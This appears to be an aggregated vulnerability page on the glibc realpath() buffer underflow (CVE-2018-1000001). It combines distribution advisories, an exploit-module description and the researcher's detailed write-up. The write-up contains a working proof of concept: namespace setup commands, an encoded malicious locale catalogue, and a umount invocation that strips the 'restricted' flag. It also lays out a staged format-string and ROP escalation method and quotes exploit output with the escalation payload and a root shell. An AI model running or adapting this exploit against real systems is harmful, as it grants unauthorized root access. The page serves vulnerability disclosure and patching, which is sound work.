Summary

In glibc 2.26 and earlier there is confusion in the usage of getcwd() by realpath() which can be used to write before the destination buffer leading to a buffer underflow and potential code execution.

description	This module attempts to gain root privileges on Linux systems by abusing a vulnerability in GNU C Library (glibc) version 2.26 and prior. This module uses halfdog's RationalLove exploit to exploit a buffer underflow in glibc realpath() and create a SUID root shell. The exploit has offsets for glibc versions 2.23-0ubuntu9 and 2.24-11+deb9u1. The target system must have unprivileged user namespaces enabled. This module has been tested successfully on Ubuntu Linux 16.04.3 (x86_64) with glibc version 2.23-0ubuntu9; and Debian 9.0 (x86_64) with glibc version 2.24-11+deb9u1.

description	This update addresses two security vulnerabilities : - CVE-2017-16997: Check for empty tokens before dynamic string token expansion in the dynamic linker, so that pre-existing privileged programs with `$ORIGIN` rpaths/runpaths do not cause the dynamic linker to search the current directory, potentially leading to privilege escalation. (RHBZ#1526866). - CVE-2018-1000001: `getcwd` would sometimes return a non-absolute path, confusing the `realpath` function, leading to privilege escalation in conjunction with user namespaces. (RHBZ#1533837) In addition, this update changes the thread stack size accounting to provide additional stack space compared to previous glibc versions. For some applications (`nptd` in particular), the `PTHREAD_STACK_MIN` stack size was too small on x86-64 machines with AVX-512 support (RHBZ#1527887).

(RHBZ#1526866). - CVE-2018-1000001: `getcwd` would sometimes return a non-absolute path, confusing the `realpath` function, leading to privilege escalation in conjunction with user namespaces. (RHBZ#1533837) In addition, this update changes the thread stack size accounting to provide additional stack space compared to previous glibc versions. For some applications (`nptd` in particular), the `PTHREAD_STACK_MIN` stack size was too small on x86-64 machines with AVX-512 support (RHBZ#1527887).

description	This update for glibc fixes the following issues: Security issues : - CVE-2017-8804: Fix memory leak after deserialization failure in xdr_bytes, xdr_string (bsc#1037930) - CVE-2017-12132: Reduce EDNS payload size to 1200 bytes (bsc#1051791) - CVE-2018-6485,CVE-2018-6551: Fix integer overflows in internal memalign and malloc functions (bsc#1079036) - CVE-2018-1000001: Avoid underflow of malloced area in realpath (bsc#1074293) Also a non security issue was fixed : - Do not fail if one of the two responses to AF_UNSPEC fails (bsc#978209) Note that Tenable Network Security has extracted the preceding description block directly from the SUSE security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

description	From Red Hat Security Advisory 2018:0805 : An update for glibc is now available for Red Hat Enterprise Linux 7. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section. The glibc packages provide the standard C libraries (libc), POSIX thread libraries (libpthread), standard math libraries (libm), and the name service cache daemon (nscd) used by multiple programs on the system. Without these libraries, the Linux system cannot function correctly. Security Fix(es) : * glibc: realpath() buffer underflow when getcwd() returns relative path allows privilege escalation (CVE-2018-1000001) * glibc: Buffer overflow in glob with GLOB_TILDE (CVE-2017-15670) * glibc: Buffer overflow during unescaping of user names with the ~ operator (CVE-2017-15804) * glibc: denial of service in getnetbyname function (CVE-2014-9402) * glibc: DNS resolver NULL pointer dereference with crafted record type (CVE-2015-5180) * glibc: Fragmentation attacks possible when EDNS0 is enabled (CVE-2017-12132) For more details about the security issue(s), including the impact, a CVSS score, and other related information, refer to the CVE page(s) listed in the References section. Red Hat would like to thank halfdog for reporting CVE-2018-1000001. The CVE-2015-5180 issue was discovered by Florian Weimer (Red Hat Product Security). Additional Changes : For detailed information on changes in this release, see the Red Hat Enterprise Linux 7.5 Release Notes linked from the References section.

description	This update addresses two security vulnerabilities : - CVE-2017-15670, CVE-2017-15671, CVE-2017-15804: Various vulnerabilities could lead to memory corruption in the `glob` and `glob64` function. (RHBZ#1505298, RHBZ##1504807) - CVE-2017-16997: Check for empty tokens before dynamic string token expansion in the dynamic linker, so that pre-existing privileged programs with `$ORIGIN` rpaths/runpaths do not cause the dynamic linker to search the current directory, potentially leading to privilege escalation. (RHBZ#1526866). - CVE-2018-1000001: `getcwd` would sometimes return a non-absolute path, confusing the `realpath` function, leading to privilege escalation in conjunction with user namespaces. (RHBZ#1533837) In addition, this update replaces the dynamic linker trampoline on x86-64 with a version which uses the `XSAVE` instruction if it is available. This improves compatibility with future hardware and compilers which do not follow the x86-64 ABI. This update also adjusts the thread stack size accounting to provide additional stack space compared to previous glibc versions (to avoid introducing RHBZ#1527887). Note that Tenable Network Security has extracted the preceding description block directly from the Fedora update system website. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

description	According to the versions of the glibc packages installed, the EulerOS Virtualization installation on the remote host is affected by the following vulnerabilities : - stdlib/canonicalize.c in the GNU C Library (aka glibc or libc6) 2.27 and earlier, when processing very long pathname arguments to the realpath function, could encounter an integer overflow on 32-bit architectures, leading to a stack-based buffer overflow and, potentially, arbitrary code execution.(CVE-2018-11236) - An integer overflow vulnerability was found in hcreate() and hcreate_r() functions which could result in an out-of-bounds memory access. This could lead to application crash or, potentially, arbitrary code execution.(CVE-2015-8778) - A stack-based buffer overflow was found in the way the libresolv library performed dual A/AAAA DNS queries. A remote attacker could create a specially crafted DNS response which could cause libresolv to crash or, potentially, execute code with the permissions of the user running the library. Note: this issue is only exposed when libresolv is called from the nss_dns NSS service module.(CVE-2015-7547) - A flaw was found in the regular expression matching routines that process multibyte character input. If an application utilized the glibc regular expression matching mechanism, an attacker could provide specially-crafted input that, when processed, would cause the application to crash.(CVE-2013-0242) - A flaw was found in the way memory was being allocated on the stack for user space binaries. If heap (or different memory region) and stack memory regions were adjacent to each other, an attacker could use this flaw to jump over the stack guard gap, cause controlled memory corruption on process stack or the adjacent memory region, and thus increase their privileges on the system. This is glibc-side mitigation which blocks processing of LD_LIBRARY_PATH for programs running in secure-execution mode and reduces the number of allocations performed by the processing of LD_AUDIT, LD_PRELOAD, and LD_HWCAP_MASK, making successful exploitation of this issue more difficult.(CVE-2017-1000366) - The DNS stub resolver in the GNU C Library (aka glibc or libc6) before version 2.26, when EDNS support is enabled, will solicit large UDP responses from name servers, potentially simplifying off-path DNS spoofing attacks due to IP fragmentation.(CVE-2017-12132) - It was found that the files back end of Name Service Switch (NSS) did not isolate iteration over an entire database from key-based look-up API calls. An application performing look-ups on a database while iterating over it could enter an infinite loop, leading to a denial of service.(CVE-2014-8121) - Stack-based buffer overflow in the getaddrinfo function in sysdeps/posix/getaddrinfo.c in the GNU C Library (aka glibc or libc6) allows remote attackers to cause a denial of service (crash) via vectors involving hostent conversion. NOTE: this vulnerability exists because of an incomplete fix for CVE-2013-4458.(CVE-2016-3706) - In glibc 2.26 and earlier there is confusion in the usage of getcwd() by realpath() which can be used to write before the destination buffer leading to a buffer underflow and potential code execution.(CVE-2018-1000001) - Stack-based buffer overflow in string/strcoll_l.c in the GNU C Library (aka glibc or libc6) 2.17 and earlier allows context-dependent attackers to cause a denial of service (crash) or possibly execute arbitrary code via a long string that triggers a malloc failure and use of the alloca function.(CVE-2012-4424) - It was found that the dynamic loader did not sanitize the LD_POINTER_GUARD environment variable. An attacker could use this flaw to bypass the pointer guarding protection on set-user-ID or set-group-ID programs to execute arbitrary code with the permissions of the user running the application.(CVE-2015-8777) - The glob function in glob.c in the GNU C Library (aka glibc or libc6) before 2.27 contains a buffer overflow during unescaping of user names with the ~ operator.(CVE-2017-15804) - res_query in libresolv in glibc before 2.25 allows remote attackers to cause a denial of service (NULL pointer dereference and process crash).(CVE-2015-5180) - pt_chown in GNU C Library (aka glibc or libc6) before 2.18 does not properly check permissions for tty files, which allows local users to change the permission on the files and obtain access to arbitrary pseudo-terminals by leveraging a FUSE file system.(CVE-2013-2207) - A stack overflow flaw was found in glibc

description	### Introduction The vulnerability described here is caused by Linux kernel behaviour change in the syscall API (returning relative pathnames in getcwd()) and non-defensive function implementation in libc (failing to process that pathname correctly). Other libraries are very likely to be affected as well. On affected systems this vulnerability can be used to gain root privileges via SUID binaries. The return value specification change in getcwd() was introduced in Linux kernel Linux 2.6.36. It has already caused troubles, even in realpath(), but at different location (see bug report) and was not identified as security issue. Linux kernel side: One of the weaknesses of Linux kernel is, that it is not fully POSIX compliant (see Wikipedia POSIX). To allow programmers to produce clean and secure code, meticulous documentation would be needed, especially to write cross-platform software. Changes in specification and documentation after software was already written always pose an extra risk. This is also true for commit vfs: show unreachable paths in getcwd and proc changing the behaviour of getcwd(). The new specification made it finally to the manpages (see getcwd(2)), but at that time glibc was already written. From the somehow contradictory man page: These functions return a null-terminated string containing an _absolute_ pathname that is the current working directory of the calling process. The pathname is returned as the function result and via the argument buf, if present. If the current directory is not below the root directory of the current process (e.g., because the process set a new filesystem root using chroot(2) without changing its current directory into the new root), then, since Linux 2.6.36, the returned path will be prefixed with the string "(unreachable)". Such behavior can also be caused by an unprivileged user by changing the current directory into another mount namespace. When dealing with paths from untrusted sources, callers of these functions should consider checking whether the returned path starts with '/' or '(' to avoid misinterpreting an unreachable path as a relative path.... ...getcwd() conforms to POSIX.1-2001. Note however that POSIX.1-2001 leaves the behavior of getcwd() unspecified if buf is NULL. The documentation is accurate regarding use of (unreachable) but most likely not according POSIX compliance. At least POSIX 2004 and 2008 are violated, 2001 version of standard seems not available for free. According to IEEE Std 1003.1-2008 specification of getcwd(): The getcwd() function shall place an absolute pathname of the current working directory in the array pointed to by buf, and return buf. The pathname shall contain no components that are dot or dot-dot, or are symbolic links. As it seems, that consequences from the change of interface specification on Linux kernel side only were not recognized by all affected parties. The realpath() function, which relies on using getcwd() to resolve relative path names still required the old behaviour. Also the manpage does not reflect the changes in underlying getcwd() call, see realpath(3). Libc side: glibc still assumes that kernel getcwd() would return absolute pathnames and relies on that behaviour when realpath() attempts to create a canonicalized absolute pathname: realpath() expands all symbolic links and resolves references to /./, /../ and extra '/' characters in the null-terminated string named by path to produce a canonicalized absolute pathname... When resolving a relative symbolic link, e.g. ../../x, realpath() will use the current working directory, assuming it will start with a /. The function starts at the end of the getcwd pathname to jump forward from slash to slash for each ../ found in the symbolic link to resolve. It does not check the boundaries of the buffer, thus may end up at a slash before the string buffer used to create the canonicalized absolute pathname. So resolving the link named above with getcwd() returning (unreachable)/, the second ../ will have moved the pointer before the buffer, the next part x is then copied to this memory location. As realpath usually operates on heap buffers. ### Methods This section describes how to improve a simple demonstrator to a complex, ASLR-aware high-reliable exploit. The steps used might not be the most elegant way to do so. Any hints for improvement are appreciated. To exploit the underflow for privilege escalation, the mount, unmount SUID binaries are most suitable targets: they process pathes using realpath(), do not drop privileges and can be invoked by any user. umount was selected as candidate as it allows to process more than one mountpoint per run, thus traversing the problematic code more than once. This seemed to be the best way to allow user controlled gradual memory editing, defeat of ASLR measures and finally quite reliable code execution. As umount realpath() operates on heap, the first step was to create a reproducible heap layout. This was done be removing all interfering environment variables and just working with those related to locale support. As locales are initialized before umount option parsing, this editing affectes the heap structure and content lower addresses than the buffer used in the fatal realpath() call. Therefore the current exploit relies on the availability of a single locale, but libc-bin on standard systems provides one: /usr/lib/locale/C.UTF-8. It is loaded by using the environment variable LC_ALL=C.UTF-8. After locale setup, the realpath buffer underflow will overwrite a slash in a locale string, used for loading of national language support (NLS) files, thus changing it to a relative pathname. Thus user controlled translations of umount error messages are loaded, giving write access to some memory adresses using the %n format feature of fprintf to modify memory. As the stack layout used by fprintf is fixed, any address references will work without considering ASLR. Luckily, one of those references points to the struct libmnt_context defined in libmount/src/mountP.h from util-linux: ``` struct libmnt_context { int action; /* MNT_ACT_{MOUNT,UMOUNT} / int restricted; / root or not? / char fstype_pattern; /* for mnt_match_fstype() / char optstr_pattern; /* for mnt_match_options() / ... ``` As the restricted field is within reach, overwriting it will make umount believe, that it was started by root, even when it was not. This can be used for a quite simple DoS by unmounting the root filesystem, which will cause very funny side effects on running programs, e.g. aborts, SEGV, .... Follwing commands demonstrate the behaviour on fully patched Debian Stretch amd64 with libc6 2.24-11+deb9u1 and umount from package mount 2.29.2-1. Keep in mind, that this simplified POC operates on the umount process memory, thus will need adoption to other software versions: ``` # Enable USERNS clone as root for demonstration: root$ echo 1 > /proc/sys/kernel/unprivileged_userns_clone # As normal user create a new namespace: test$ /usr/bin/unshare -m -U --map-root-user /bin/sh # Caveat: following steps are performed as USERNS-root, not real # root user. root$ mount -t tmpfs tmpfs /tmp root$ cd /tmp root$ chmod 00755 . root$ mkdir -p -- "(unreachable)/tmp" "(unreachable)/tmp/from_archive/C/LC_MESSAGES" "(unreachable)/x" root$ ln -s ../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A "(unreachable)/tmp/down" # Make mount unrestricted by overwriting struct libmnt_context, thus # affecting mnt_context_is_restricted in "libmount/src/context.c". root$ base64 -d <<B64-EOF \| bzip2 -cd > "(unreachable)/tmp/from_archive/C/LC_MESSAGES/util-linux.mo" QlpoOTFBWSZTWTOfm9IAAGX/pn6UlARGB+FeKyZnAD/n3mACAAAgAAEgAJSIqfkpspk0eUGJ6gAG mQeoaD1PJAamlPJGCNMTIaNGmnqMQ0AAzSwpEWpQICVUw+490ohZBgZ+s4EBAZCn/TavSQshtCiv iG6HOehyAp4FPt3zkpdTxNchTYITLBkXUjsgpN2QDBNX8qmbpkVgfLXKcQc1ZhVF0FxUQOtnbGlL 5NhRmORwmQF1Dw3Yu1mds6tGAmnLwWwc2KRKGl5hcLuSKcKEgZz83pA= B64-EOF root$ echo "$$" 2299 # Now continue in another shell using the USERNS pid from before: test$ cd /proc/2299/cwd test$ LC_ALL=C.UTF-8 /bin/umount --lazy down / umount: AAlnAAAAAAAAAAA ``` The simplified single-stage POC from above has multiple drawbacks: it can only reliable toggle the permissions bit, thus allowing unmounting / causing DoS, but not arbitrary code execution. For that, ASLR has to be defeated first. This can be done by following sequence of events: Start umount with large number of environment variables that containing "AANGUAGE=X.X", that are just one letter off from correct language settings. The large number of environment variables "sprays" the upper stack area with a long list of valid pointers. * Let umount call realpath() and underflow. When the error message is printed, a first-stage message catalogue file is loaded and the format string dumps the whole stack to stderr, remove the "restricted" bit similar to simplified POC and write a 'L' to the sprayed stack, modifying one entry to "LANGUAGE=X.X". * Due to change of language, umount will attemt to load another language catalogue. As the exploit prepared a pipe with that name, umount will block here giving the exploit the chance to synchronize, create an updated message catalogue and let umount continue. * The updated format strings now contain all offsets for the currently running binary. But the stack does not contain suitable pointers for writing and fprintf ignores changes of argument pointers while running because secure printf copies the values down the stack, where we cannot use them directly. Hence fprintf must be invoked more than once with the same (unmodified) format string, but still has to behave different on each invocation to overwrite different memory locations. This is done using the format string itself for arithmetics, each fprintf invocation as clock and the length of path-name input as instruction pointer, thus creating a simplified virtual machine. * The repeated format string processing changes the return pointer from main function to two other functions: getdate() and execl(). Those functions were choosen for ROP because a single call to system() would not work on Ubuntu. This is due to /bin/sh having a patch missing in Debian, that will reset the effective UID when not matching the the current UID. But as exec calls require a more complex stack/register configuration, let getdate() do the work for us. For escalation using umount, calling execve in the end should work also on SELinux/AppArmor hardened systems. Umount needs to call file system helpers during normal operation also. On other systems, execl() could be replaced by dlopen(), to inject code into running process. * The invoked program file contains a shebang to make the operating system invoke the exploit program as interpreter. The exploit then changes his own file ownership and mode to become a root SUID binary and terminates. Starting the shell here immediately would be possible, but the mount process has a strange set of environment variables, which is not so convenient for further shell use. Apart from that, by terminating the caller can detect successful escalation, perform all cleanup. * When the initial caller of mount notices the mode change of the file, it performs the cleanup and invokes the SUID binary to use its secondary function - a SUID shell, thus completing the escalation. All those steps are currently implemented in RationalLove.c apart for the code to create the namespace. Therefore the pid of a suitable namespace process has to be hardcoded before compiling. Here is the output of exploit invocation: ``` test@test$ ./RationalLove ./RationalLove: setting up environment ... ./RationalLove: using umount at "/bin/umount". Attempting to gain root, try 1 of 10 ... Starting subprocess Stack content received, calculating next phase Found source address location 0x7fffb6505d18 pointing to target address 0x7fffb6505de8 with value 0x7fffb650723f, libc offset is 0x7fffb6505d08 Changing return address from 0x7f9617db62b1 to 0x7f9617e41c30, 0x7f9617e4e900 Using escalation string %67$hn%71$hn%1$6116.6116s%65$hn%69$hn%1$1100.1100s%64$hn%1$25446.25446s%66$hn%70$hn%1$26986.26986s%68$hn%1$5888.5888s%1$23798.23798s%1$s%1$s%63$hn%1$s%1$s%1$s%1$s%1$s%1$s%1$186.186s%37$hn-%35$lx-%37$lx-%62$lx-%63$lx-%64$lx-%65$lx-%66$lx-%67$lx-%68$lx-%69$lx-%78$s Executable now root-owned Cleanup completed, re-invoking binary /proc/self/exe: invoked as SUID, invoking shell ... root@test# id uid=0(root) gid=0(root) groups=0(root),100(users) ``` ASLR could also be circumvented using a but in mount environment variable handling, see util-linux mount/unmount ASLR bypass via environment variable. ### Results, Discussion As for example, misbehaviour can be triggered when performing a getcwd call in a directory not visible in the current mount namespace of the process. See mount_namespaces man page for more information. Therefore a process has to reach such a directory within another namespace. There should be various ways to do that, e.g. using the proc filesystem to enter the working directory of another process (method used in exploit), by passing file descriptors via SCM_RIGHTS between cooperating processes in different namespaces. Therefore this vulnerability shows again the importance of system hardening by disabling USERNS when not needed. On a system with unprivileged USERNS enabled, an attacker can create all required namespaces. On other systems, it might be possible to use namespaces created by other processes using the proc access approach. These can be discovered using readlink /proc//ns/mnt \| sort -u. While systemd-udevd just uses a namespace in a way required for exploitation, the /proc/[pid]/cwd link cannot accessed by unprivileged users. Still systemd-udevd is a good example, how hardening of a single application by namespaces might also create additional attack surface, not only in the application itself. Hence the attack method described here may also be appropriate to attack other applications using the same hardening measures, e.g. lxc or docker. Affected systems: Systems with Linux Kernel prepending getcwd() path with non-path components, e.g. to indicate unreachable pathes. Such code can be found in fs/dcache.c: ``` static int prepend_unreachable(char buffer, int buflen) { return prepend(buffer, buflen, "(unreachable)", 13); } ``` Most likely this code was created in analogy to the (deleted) suffix to indicate file handles to deleted files, e.g.: ``` test$ touch /tmp/x test$ exec 3</tmp/x test$ rm /tmp/x test$ readlink /proc/self/fd/3 /tmp/x (deleted) ``` Userspace: Currently only libc is proven to misbehave when Linux getcwd() returns a relative path. But other libraries or tools might also fail in unexpected ways due to that bug. ``` glibc: Here the underflow occurs in __realpath from stdlib/canonicalize.c: 42 char * 43 __realpath (const char name, char resolved) 44 { ... # When resolving a relative pathname, getcwd() is called: 86 if (name[0] != '/') 87 { 88 if (!__getcwd (rpath, path_max)) 89 { 90 rpath[0] = '\0'; 91 goto error; 92 } 93 dest = __rawmemchr (rpath, '\0'); 94 } 95 else ... # Loop over all name components: 101 for (start = end = name; start; start = end) 102 { ... # If the name component is "..", remove it. This underflows the # buffer if rpath does not contain a starting slash. 118 else if (end - start == 2 && start[0] == '.' && start[1] == '.') 119 { 120 / Back up to previous component, ignore if at root already. / 121 if (dest > rpath + 1) 122 while ((--dest)[-1] != '/'); 123 } 124 else # The name component is not ".", "..", so copy the name to dest. 125 { 126 size_t new_size; 127 128 if (dest[-1] != '/') 129 dest++ = '/'; ...
